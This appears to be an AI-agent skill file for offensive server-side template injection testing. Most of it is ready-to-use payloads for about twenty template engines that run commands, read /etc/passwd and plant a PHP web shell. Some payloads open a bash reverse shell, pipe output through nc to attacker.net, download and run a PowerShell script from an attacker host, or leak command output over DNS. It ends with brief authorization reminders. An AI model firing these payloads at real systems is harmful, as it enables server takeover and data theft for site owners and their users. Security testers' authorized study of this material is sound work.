SSTI (Server-Side Template Injection) Testing

A comprehensive skill for detecting, identifying, and exploiting Server-Side Template Injection vulnerabilities across multiple template engines and programming languages.

Quick Start Workflow

1. Detect - Fuzz the target with template injection payloads
2. Identify - Determine which template engine is in use
3. Exploit - Craft payloads for the specific engine
4. Escalate - Move from detection to RCE if possible

Detection Phase

Initial Fuzzing

Start by injecting these special characters to detect template processing:

${{<%[%'"}}%

What to look for:

• Errors thrown (reveals vulnerability and potentially the engine)
• Payload missing from response (server processes it differently)
• Mathematical evaluation (e.g.,

  {{7*7}}

  returns

  49

  )

Distinguish from XSS

Plaintext Context - Server evaluates template expressions:

• {{7*7}}

  →

  49

  (SSTI)

• {{7*7}}

  →

  {{7*7}}

  (XSS or no vulnerability)

Code Context - Test dynamic behavior:

• Change

  greeting=data.username

  to

  greeting=data.username}}hello

• If output changes dynamically, SSTI is likely present

Engine Identification Payloads

Use these to identify the template engine:

{{7*7}}

49

{{7*7}}

49

${7*7}

49

${7*7}

49

${7*7}

[[${7*7}]]

49

<%= 7*7 %>

49

<%= 7*7 %>

49

{{ . }}

Tools

Automated Scanners

TInjA - Efficient SSTI + CSTI scanner with polyglots:

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."

SSTImap - Crawler and SSTI detector:

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap - Automated SSTI exploitation:

python3 tplmap.py -u 'http://target.com/page?name=John*' --os-shell
python3 tplmap.py -u "http://target.com/page?user=InjectHere*" --level 5 -e jade

Exploitation by Engine

Java Template Engines

FreeMarker

Basic detection:

{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 (legacy)

RCE payloads:

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

Sandbox bypass (versions < 2.3.30):

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Velocity

#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor())
#foreach($i in [1..$out.available()])
$out.read()
#end

Thymeleaf

Detection:

[[${7*7}]]
${7*7}

SpringEL RCE:

${T(java.lang.Runtime).getRuntime().exec('calc')}

OGNL RCE:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Expression preprocessing:

#{selection.__${sel.code}__}

Spring Framework

Basic RCE:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters - Try these delimiters if

${...}

• #{...}

• *{...}

• @{...}

• ~{...}

Read /etc/passwd:

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Generate encoded payloads: Use

scripts/generate_java_payload.py

Jinjava / HuBL (HubSpot)

Detection:

{{'a'.toUpperCase()}} → 'A'
{{ request }} → com.[...].context.TemplateContextRequest@23548206

RCE:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); x.start()")}}

With output capture:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"netstat\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}

Groovy

Basic payload:

import groovy.*;
@groovy.transform.ASTTest(value={
    cmd = "whoami";
    assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

With output capture:

import groovy.*;
@groovy.transform.ASTTest(value={
    cmd = "whoami";
    out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
    cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".attacker.com";
    java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

PHP Template Engines

Twig

Detection:

{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error

Information gathering:

{{_self}}
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

File read:

"{{'/etc/passwd'|file_excerpt(1,30)}}"

RCE payloads:

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}

Suppress errors:

{{["error_reporting", "0"]|sort("ini_set")}}

Smarty

Detection:

{$smarty.version}

RCE:

{php}echo `id`;/php} // deprecated in v3
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Node.js Template Engines

Nunjucks

Detection:

{{7*7}} = 49
{{foo}} = No output
#{7*7} = #{7*7}

RCE:

{{
  range.constructor(
    "return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
  )()
}}

Reverse shell:

{{
  range.constructor(
    "return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
  )()
}}

Handlebars

Path traversal:

curl -X 'POST' -H 'Content-Type: application/json' --data-binary '{"profile":{"layout": "./../routes/index.js"}}' 'http://target:9090/'

RCE (complex):

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Pug.js / Jade

Detection:

#{7*7} = 49

RCE:

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

Jade style:

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

JsRender

Server-side RCE:

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Python Template Engines

Jinja2

Detection:

{{7*7}} = Error (in some configs)
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}

Debug:

{% debug %}

RCE (without builtins):

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Tornado

Detection:

{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777

RCE:

{% import os %}
{{os.system('whoami')}}

Mako

RCE:

<%
import os
x=os.popen('id').read()
%>
${x}

Ruby Template Engines

ERB

Detection:

{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error

RCE:

<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/etc/passwd').read %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>

With Open3:

<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>

Slim

Detection:

{ 7 * 7 }

RCE:

{ %x|env| }

.NET Template Engines

Razor

Detection:

@(2+2) → Success
@() → Success
@("{{code}}") → Success
@ → Success
@{} → ERROR!
@{ → ERROR!

RCE:

@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

Encoded PowerShell:

@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc [base64]");

ASP Classic

Detection:

<%= 7*7 %> = 49
<%= "foo" %> = foo
<%= foo %> = Nothing

RCE:

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://attacker/shell.ps1')").StdOut.ReadAll() %>

Go Template Engine

Detection:

{{ . }} → Reveals data structure
{{printf "%s" "ssti" }} → ssti
{{html "ssti"}} → ssti
{{js "ssti"}} → ssti

XSS bypass:

{{define "T1"}}alert(1){{end}}{{template "T1"}}

RCE - Requires object with executable methods:

{{ .System "ls" }}

Perl (Mojolicious)

Detection:

<%= 7*7 %> = 49
<%= foobar %> = Error

RCE:

<%= perl code %>
<% perl code %>

Common Techniques

Command Execution Patterns

Java Runtime:

T(java.lang.Runtime).getRuntime().exec('command')

Python os module:

os.popen('command').read()
os.system('command')

Node.js child_process:

require('child_process').execSync('command')

Ruby:

system('command')
`command`
IO.popen('command').read

File Operations

Read files:

• Java:

  T(org.apache.commons.io.IOUtils).toString(Runtime.getRuntime().exec('cat file').getInputStream())

• Python:

  open('file').read()

• Ruby:

  File.open('file').read

• Node.js:

  require('fs').readFileSync('file')

Environment Variables

Java:

${T(java.lang.System).getenv()}

Python:

{{config}}
{{settings}}

Scripts

Use the bundled scripts for common tasks:

• scripts/generate_java_payload.py

  - Generate character-encoded Java payloads

• scripts/ssti_detect.py

  - Automated detection fuzzing

Safety Notes

• Always have authorization before testing
• Use isolated environments for RCE testing
• Document findings responsibly
• Consider the impact of each payload

References

• PortSwigger SSTI Research
• PayloadsAllTheThings SSTI
• Template Injection Table
• Websites Vulnerable to SSTI